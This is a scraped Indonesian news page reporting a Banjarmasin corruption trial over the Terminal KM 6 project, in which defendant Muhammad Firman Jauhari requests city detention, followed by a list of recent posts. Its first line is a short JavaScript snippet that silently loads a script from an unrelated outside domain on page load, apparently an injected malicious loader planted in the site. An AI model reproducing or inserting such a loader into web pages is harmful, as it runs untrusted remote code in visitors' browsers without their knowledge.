(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Sidang Korupsi Proyek Terminal KM 6, Terdakwa Firman Minta jadi Tahanan Kota


KANALKALIMANTAN.COM, BANJARMASIN – Salah satu terdakwa kasus korupsi proyek pembangunan Terminal KM 6 Jalan Pramuka Kota Banjarmasin pada tahun 2013-2015 menjalani persidangan, Rabu (2/1/2023) siang, di Pengadilan Tipikor Banjarmasin.

Muhammad Firman Jauhari (50), konsultan pengawas pembangunan didakwa Jaksa Penuntut Umum (JPU) dengan pasal 2 ayat (1) Jo pasal 18 Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan UU Nomor 20 Tahun 2001 tentang Pemberantasan Tipikor.

Sedangkan dakwaan subsider pasal 3 Jo pasal 18 UU Nomor 31 Tahun 1999 tentang Pemberantasan Tipikor sebagaimana telah diubah dengan UU Nomor 20 Tahun 2001 tentang Pemberantasan Tipikor.

Selain Firman, sudah ada 3 orang yang sudah diputus inkrah dan sedang menjalani pidana kurungan atas perkara korupsi proyek pembangunan Terminal KM 6.

 

 

Baca juga: DPRD Kapuas Kunker ke DPRD Tangsel

Mereka adalah mantan Kepala Dishubkominfo Kota Banjarmasin Kasman, Pejabat Pelaksana Teknis Kegiatan (PPTK) mantan Kabid LLAJ Dishubkominfo Kota Banjarmasin Mahmudi, dan kontraktor pelaksana Fahmi Nurahman, Direktur CV Mitra Perkasa.

Pada persidangan pertama tersebut surat dakwaan dibacakan oleh JPU Andri Nanda dari Kejati Kalsel. Sementara itu Majelis Hakim dipimpin oleh Jamser Simanjuntak bersama dua orang anggota.

Diketahui sebelumnya, berdasarkan perhitungan Badan Pengawasan Keuangan dan Pembangunan (BPKP) Perwakilan Kalsel, kerugian negara dalam proyek pembangunan Terminal KM 6 pada tahun 2013-2015 yaitu sebesar Rp 1.637.570.956.

Dalam dakwaannya JPU menjelaskan, pekerjaan proyek tersebut dilakukan kontraktor tidak sesuai dengan spesifikasi yang tertera pada kontrak diawal.

Di antaranya yaitu pekerjaan plat beton yang harusnya dalam kontrak awal 20 cm tapi hanya dikerjakan atau dipasang 15 cm.

Baca Juga: DPW Nasdem Kalsel Pastikan Anies Baswedan Kunjungi Kalsel Pertengahan Februari

Selain itu pemasangan balok tulangan hanya dipasang diameter 8 yang harusnya diameter 10, dan pengerjaan lantai granit menggunakan keramik yang kualitasnya lebih rendah dari yang tertera pada kontrak.

Sementara itu, terdakwa melalui kuasa hukumnya dalam persidangan meminta kepada majelis hakim agar kliennya dipindahkan jenis tahanan menjadi tahanan kota.

Hal tersebut bukan tanpa alasan, karena ketiga terpidana sebelumnya dalam perkara yang sama juga ditetapkan sebagai tahanan kota pada saat proses penyidikan hingga persidangan.

“Alasannya terdakwa-terdakwa dahulu (Kasam, Mahmudi, dan Fahmi) sejak penyidikan sampai dengan kasasi MA tahanan kota semua,” kata penasehat hukum, Syaiful Bahri.

Diketahui terdakwa Firman ditahan di Rumah Tahanan (Rutan) Polresta Banjarmasin sejak penyidikan dilakukan oleh Kejati Kalsel.

Baca juga: Kunjungi Martapura Timur, Bupati Banjar Serahkan Bantuan dan Ziarah ke Tambak Anyar

“Kami minta keadilan dan persamaan hukum, jangan ada diskriminasi dalam melaksanakan penahanan ini,” tegas penasehat hukum terdakwa.

Sementara itu karena tedakwa tidak mengajukan eskepsi (keberatan) atas dakwaan JPU, maka sidang akan kembali digelar pada Rabu (8/2/2023) dengan agenda mendengarkan keterangan saksi yang akan dihadirkan JPU.

“Ada 18 saksi, minggu depan sebagian dulu 9 orang,” ucap JPU kepada majelis hakim. (kanalkalimantan.com/rizki)

Reporter: rizki
Editor: cell


Al Ghifari

Recent Posts

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

1 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

2 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

4 jam ago

Korban Tenggelam di Sungai Martapura Ditemukan Senin Dinihari

KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More

6 jam ago

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

20 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

20 jam ago

This website uses cookies.